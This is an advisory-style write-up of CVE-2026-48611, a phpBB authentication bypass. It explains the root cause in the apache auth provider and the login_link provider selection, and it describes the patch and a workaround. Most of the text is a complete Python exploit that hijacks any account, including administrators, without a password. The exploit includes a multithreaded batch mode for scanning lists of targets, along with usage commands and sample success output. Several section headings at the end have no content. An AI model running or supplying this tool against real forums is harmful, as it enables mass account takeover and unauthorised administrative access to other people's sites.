#Summary

CVE-2026-48611 is a critical authentication bypass in phpBB forum software affecting all versions from 3.3.0 through 3.3.16 (and 4.0.0-a2). An unauthenticated attacker can hijack any user's account - including administrators - in a single HTTP request, without knowing the victim's password. The attack requires only network access to a vulnerable phpBB installation. CVSS score is 9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Fixed in version 3.3.17 (released 2026-06-06).

#Affected versions

Default installation with auth_method=db (the standard configuration) is vulnerable when served by a SAPI that populates PHP_AUTH_USER and PHP_AUTH_PW from the HTTP Authorization header - such as Apache with mod_php.

#Root cause analysis

#The two vulnerable components

CVE-2026-48611 arises from the combination of two individually-"correct" components that an attacker can chain together.

Component A: Apache auth provider ignores the password

The phpbb/auth/provider/apache.php::login() method is designed for deployments where Apache itself has already authenticated the user via HTTP Basic auth. It trusts the username in $_SERVER['PHP_AUTH_USER'] without ever validating the password:

public function login($username, $password)
{
    if (!$password) { return LOGIN_ERROR_PASSWORD ... }
    if (!$username) { return LOGIN_ERROR_USERNAME ... }
    if (!$this->request->is_set('PHP_AUTH_USER', request_interface::SERVER)) {
        return LOGIN_ERROR_EXTERNAL_AUTH ...
    }

    $php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
    $php_auth_pw   = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);

    if (!empty($php_auth_user) && !empty($php_auth_pw))
    {
        if ($php_auth_user !== $username) { return LOGIN_ERROR_USERNAME ... }

        $sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
            FROM ' . USERS_TABLE . "
            WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
        $row = $this->db->sql_fetchrow($this->db->sql_query($sql));

        if ($row)
        {
            if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
                return LOGIN_ERROR_ACTIVE ...
            }
            // Password is never compared. user_password is fetched but never used.
            return array('status' => LOGIN_SUCCESS, 'error_msg' => false, 'user_row' => $row);
        }
        ...
    }
    ...
}

The user_password field is fetched from the database but never compared. This is by design - the apache provider assumes a trusted proxy (Apache itself) has already performed authentication.

Component B: Arbitrary auth provider selection

The OAuth "link account" flow in phpBB/includes/ucp/ucp_login_link.php::main() allows the attacker to select which auth provider to use:

$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));
...
$login_result = $auth_provider->login($login_username, $login_password);

There is no restriction that auth_provider must be an OAuth provider - it accepts any provider name, including apache. A single dummy login_link_* GET parameter (e.g. login_link_x=1) satisfies the "has necessary data" guard.

#How the exploit chains them

An unauthenticated client sends:

POST /ucp.php?mode=login_link&auth_provider=apache&login_link_x=1
Authorization: Basic base64(<victim_username>:<any-non-empty-password>)
Content-Type: application/x-www-form-urlencoded

login=Login&login_username=<victim_username>&login_password=<any-non-empty>
  1. PHP automatically parses the Authorization: Basic header and populates $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW'].
  2. Component B (ucp_login_link) routes the request to the apache provider because auth_provider=apache.
  3. Component A (apache.php::login()) receives the attacker-controlled username/password.
  4. It checks only: header-username == submitted-username, both fields non-empty, and account exists and is active.
  5. It returns LOGIN_SUCCESS - phpBB establishes a real session as the victim.
  6. The attacker has impersonated the "trusted Apache proxy" that the apache provider blindly trusts.

#Patch diff

#What the fix does

phpBB 3.3.17 deleted the entire includes/ucp/ucp_login_link.php file (264 lines removed). OAuth login-linking was refactored into a dedicated controller (phpbb/ucp/controller/oauth.php) that is wired specifically to the OAuth flow. This removes the attacker's ability to select an arbitrary auth provider.

The apache provider's login() method itself was not changed - it still doesn't validate passwords by design. However, it is now unreachable from the login-link endpoint when the site is configured with database authentication.

Fix commit: 4a2962b - "[ticket/17659] Move login linking for oauth to controller"

Before (vulnerable): any auth provider can be invoked via the login-link endpoint After (patched): only the OAuth controller handles the OAuth login-linking flow

The interim workaround (for sites unable to immediately upgrade): block requests to ucp.php?mode=login_link at the web-server level, or strip inbound Authorization headers.

#Proof of concept

#exploit.py - phpBB Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-48611 — phpBB login_link authentication bypass / account takeover
Affected: phpBB 3.3.0 <= 3.3.16 (and 4.0.0-a2); fixed in 3.3.17
Type: Authentication bypass (missing password check on an attacker-selectable auth provider)

Root cause:
  * phpbb/auth/provider/apache.php::login() trusts $_SERVER['PHP_AUTH_USER'] and
    NEVER compares the supplied password against the stored hash (by design — it
    assumes a trusted Apache Basic-auth front end already authenticated the user).
  * includes/ucp/ucp_login_link.php::main() picks the auth provider from the
    attacker-controlled GET param `auth_provider`, so an unauthenticated client can
    route its login through the password-free `apache` provider even on a default
    (auth_method=db) install.

The bypass: send `auth_provider=apache`, an `Authorization: Basic <victim>:<any>`
header (PHP populates PHP_AUTH_USER/PHP_AUTH_PW from it), and POST
`login_username=<victim>` — phpBB establishes a real session as the victim without
knowing the password. Targeting the admin yields ACP access.

Usage:
  python exploit.py --host <target>
  python exploit.py --host 192.168.1.10 --port 80 --username admin
  python exploit.py --host https://forum.corp.com/ --username admin
  python exploit.py --host http://10.0.0.5:8091 --username someuser --password whatever
  python exploit.py --list targets.txt --workers 20

Success (auth bypass): a real phpBB session cookie set is returned —
  phpbb3_<hash>_sid=<...> + phpbb3_<hash>_u=<victim_user_id != 1 (anonymous)> —
  and reusing those cookies on index.php shows the authenticated (logged-in) state;
  for an admin target the board exposes the Administration Control Panel link.
"""

import argparse
import base64
import sys
from urllib.parse import urlparse

try:
    import requests
    from requests.packages import urllib3  # type: ignore
    urllib3.disable_warnings()
except ImportError:
    print("[!] This exploit requires the 'requests' library:  pip install requests")
    sys.exit(2)

CVE_ID    = "CVE-2026-48611"
VULN_TYPE = "Auth bypass / account takeover"

DEFAULT_PORT = 80
DEFAULT_PATH = "/"

# phpBB binds each session to the client User-Agent (session_browser). Every request
# in the hijack — the login_link POST and the confirming index.php GET — MUST reuse the
# same UA or phpBB invalidates the session and serves an anonymous page.
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36"


# --------------------------------------------------------------------------- #
#  Standard output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Core logic
# --------------------------------------------------------------------------- #
def _new_session():
    s = requests.Session()
    s.headers.update({"User-Agent": USER_AGENT})  # pin UA for the whole session
    return s


def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    scheme = "https" if use_tls else "http"
    default = 443 if use_tls else 80
    netloc = host if port == default else f"{host}:{port}"
    base = f"{scheme}://{netloc}"
    path = (path or "/").rstrip("/")
    return base + path


def _sid_cookie(session) -> str:
    for c in session.cookies:
        if c.name.endswith("_sid"):
            return c.value or ""
    return ""


def _uid_cookie(session) -> str:
    # phpbb3_<hash>_u — the logged-in user_id (1 == anonymous). Distinguish from _sid/_k.
    for c in session.cookies:
        if c.name.endswith("_u") and not c.name.endswith("_sid"):
            return c.value or ""
    return ""


def _attempt_bypass(session, base_url: str, username: str, password: str, timeout: float = 15.0):
    """
    Perform the login_link → apache-provider bypass. Returns the POST response.
    Populates `session.cookies` with any phpBB session cookies the server sets.
    """
    url = base_url + "/ucp.php"
    params = {
        "mode": "login_link",
        "auth_provider": "apache",   # <-- attacker-selected, password-free provider
        "login_link_x": "1",         # <-- satisfies the "has necessary data" check
    }
    creds = base64.b64encode(f"{username}:{password}".encode()).decode()
    headers = {
        # PHP sets PHP_AUTH_USER / PHP_AUTH_PW from this; apache.php trusts them blindly.
        "Authorization": "Basic " + creds,
        "Content-Type": "application/x-www-form-urlencoded",
        # User-Agent comes from the session (pinned) so the confirming GET matches.
    }
    data = {
        "login": "Login",
        "login_username": username,   # must equal the Basic-auth username
        "login_password": password,   # non-empty but never validated
    }
    return session.post(url, params=params, headers=headers, data=data,
                        allow_redirects=False, timeout=timeout, verify=False)


def _confirm_session(session, base_url: str, username: str, timeout: float = 15.0):
    """
    Reuse the harvested cookies against index.php to confirm the authenticated
    state (network-observable proof). Returns (is_authed, is_admin, body_snippet).
    """
    r = session.get(base_url + "/index.php", allow_redirects=True,
                    timeout=timeout, verify=False)
    body = r.text or ""
    low = body.lower()
    # phpBB renders a logout control and the username when a real session exists.
    authed = ("mode=logout" in low) or ("logout" in low and username.lower() in low)
    is_admin = ("adm/index." in low) or ("administration control panel" in low) or ("acp_" in low)
    # keep a compact, human-readable snippet
    snippet_lines = []
    for kw in ("logout", "Administration Control Panel", "adm/index."):
        idx = body.find(kw)
        if idx == -1:
            idx = low.find(kw.lower())
        if idx != -1:
            snippet_lines.append(body[max(0, idx - 40):idx + 60].replace("\n", " ").strip())
    return authed, is_admin, " | ".join(snippet_lines[:3])


def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                 username: str = "admin", password: str = "x", **_):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
    base_url = _base_url(host, port, use_tls, path)
    try:
        s = _new_session()
        r = _attempt_bypass(s, base_url, username, password)
        uid = _uid_cookie(s)
        sid = _sid_cookie(s)
        if sid and uid and uid not in ("1", ""):
            authed, is_admin, _snip = _confirm_session(s, base_url, username)
            role = "admin/ACP" if is_admin else "user"
            tag = "" if authed else " (cookie set; index.php unconfirmed)"
            return True, f"session hijacked as '{username}' ({role}, user_id={uid}){tag}"
        # patched builds 301 to the new OAuth controller; anonymous session stays u=1
        loc = r.headers.get("Location", "")
        if "oauth" in loc.lower() or r.status_code in (301, 404):
            return False, "blocked — login_link no longer routes to apache provider (patched)"
        return False, f"no session (u={uid or '1'}, status={r.status_code}) — patched or not Apache+mod_php"
    except requests.exceptions.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"
    except Exception as e:  # noqa: BLE001
        return False, f"error ({e.__class__.__name__})"


# --------------------------------------------------------------------------- #
#  Target parsing + batch scan
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = DEFAULT_PATH):
    """Parse one target line into (host, port, use_tls, path). None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         username: str = "admin", password: str = "x") -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} — Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls = t[:3]
        path = t[3] if len(t) > 3 else DEFAULT_PATH
        label = _base_url(host, port, use_tls, path)
        ok, evidence = _try_exploit(host, port, use_tls, path, username, password)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label}{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
#  Single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str, username: str, password: str) -> None:
    header(host, port)
    base_url = _base_url(host, port, use_tls, path)
    s = _new_session()

    step(1, f"Sending login_link bypass to {base_url}/ucp.php (auth_provider=apache, victim='{username}')")
    try:
        r = _attempt_bypass(s, base_url, username, password)
    except requests.exceptions.RequestException as e:
        done(False, f"target unreachable: {e.__class__.__name__}: {e}")
        return

    cookie_dump = {c.name: c.value for c in s.cookies}
    section("POST RESPONSE",
            f"status: {r.status_code}\n"
            f"location: {r.headers.get('Location')}\n"
            f"session cookies: {cookie_dump}")

    uid = _uid_cookie(s)
    sid = _sid_cookie(s)

    step(2, f"Inspecting session cookies (need phpbb3_*_sid + phpbb3_*_u != 1)")
    if not (sid and uid and uid not in ("1", "")):
        loc = r.headers.get("Location", "")
        if "oauth" in loc.lower() or r.status_code == 301:
            section("PATCH INDICATOR",
                    f"Server redirected login_link to the OAuth controller ({loc}) "
                    f"and left the session anonymous (u={uid or '1'}).")
        section("SERVER RESPONSE (body head)", r.text[:600])
        done(False, f"no victim session established (u={uid or '1'}, status={r.status_code}) — "
                    f"target patched (>=3.3.17) or not Apache+mod_php")
        return

    section("HIJACKED SESSION",
            f"phpbb3_*_sid = {sid}\n"
            f"phpbb3_*_u   = {uid}   (victim user_id, != 1 anonymous)")

    step(3, "Reusing the session cookies against /index.php to confirm authenticated state")
    try:
        authed, is_admin, snippet = _confirm_session(s, base_url, username)
    except requests.exceptions.RequestException as e:
        # Cookie evidence alone is already network-observable proof of bypass.
        section("NOTE", f"Could not fetch index.php for corroboration: {e.__class__.__name__}")
        done(True, f"Authenticated as '{username}' without credentials — "
                   f"real phpBB session (user_id={uid}, sid={sid[:8]}...)")
        return

    section("AUTHENTICATED PAGE MARKERS",
            f"logged-in state detected: {authed}\n"
            f"admin / ACP access:       {is_admin}\n"
            f"evidence snippet:         {snippet or '(markers matched in body)'}")

    role = "ADMIN (ACP access)" if is_admin else "user"
    done(True, f"Auth bypass confirmed — authenticated as '{username}' [{role}] without the "
               f"password (user_id={uid}, sid={sid[:8]}...)")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} — phpBB login_link auth bypass PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://forum.com/path)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
    parser.add_argument("--username", default="admin",
                        help="Victim account to take over — must exist and be active (default: admin)")
    parser.add_argument("--password", default="x",
                        help="Any NON-EMPTY password; never validated by the apache provider (default: x)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             username=args.username, password=args.password)
    else:
        parsed = _parse_target(args.host, args.port)
        if parsed:
            host, port, use_tls, path = parsed
        else:
            host, port, use_tls, path = args.host, args.port, False, DEFAULT_PATH
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.username, args.password)

#Usage

# Single target - exploit the admin account
python3 exploit.py --host 127.0.0.1:8091 --username admin

# Scan a target list
python3 exploit.py --list targets.txt --workers 20 --username admin

# Full URL with path
python3 exploit.py --host https://forum.example.com/community/ --username admin

#Expected output (vulnerable target)

============================================================
  ALIM EXPLOIT  CVE-2026-48611
  Type: Auth bypass / account takeover  |  Target: 127.0.0.1:8091
============================================================

[STEP 1] Sending login_link bypass to http://127.0.0.1:8091/ucp.php (auth_provider=apache, victim='admin')

--- POST RESPONSE ---
status: 302
location: http://localhost:8091/index.php?sid=99f544c0861519aa3f8be7d532976c15
session cookies: {'phpbb3_oldyg_u': '2', 'phpbb3_oldyg_sid': '99f544c0861519aa3f8be7d532976c15'}

--- HIJACKED SESSION ---
phpbb3_*_sid = 99f544c0861519aa3f8be7d532976c15
phpbb3_*_u   = 2   (victim user_id, != 1 anonymous)

[STEP 3] Reusing the session cookies against /index.php to confirm authenticated state

--- AUTHENTICATED PAGE MARKERS ---
logged-in state detected: True
admin / ACP access:       True

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Auth bypass confirmed — authenticated as 'admin' [ADMIN (ACP access)] without the password
============================================================

#Expected output (patched target)

--- POST RESPONSE ---
status: 301
location: /app.php/user/oauth/link_account?mode=login_link&auth_provider=apache&login_link_x=1&sid=...
session cookies: {'phpbb3_tr35c_u': '1', 'phpbb3_tr35c_sid': '...'}

--- PATCH INDICATOR ---
Server redirected login_link to the OAuth controller and left the session anonymous (u=1).

============================================================
  RESULT  : FAILURE
  EVIDENCE: no victim session established (u=1, status=301) — target patched (>=3.3.17) or not Apache+mod_php
============================================================

#Exploitation notes

#Preconditions

#Reliability

The exploit is 100% reliable against vulnerable Apache + mod_php deployments. The protocol is deterministic - there is no race condition or timing dependency. Success is confirmed through network-observable evidence only: the presence of a real phpbb3_*_sid cookie paired with a non-anonymous phpbb3_*_u value.

#Impact

#Chaining potential

Once an admin account is compromised:

#References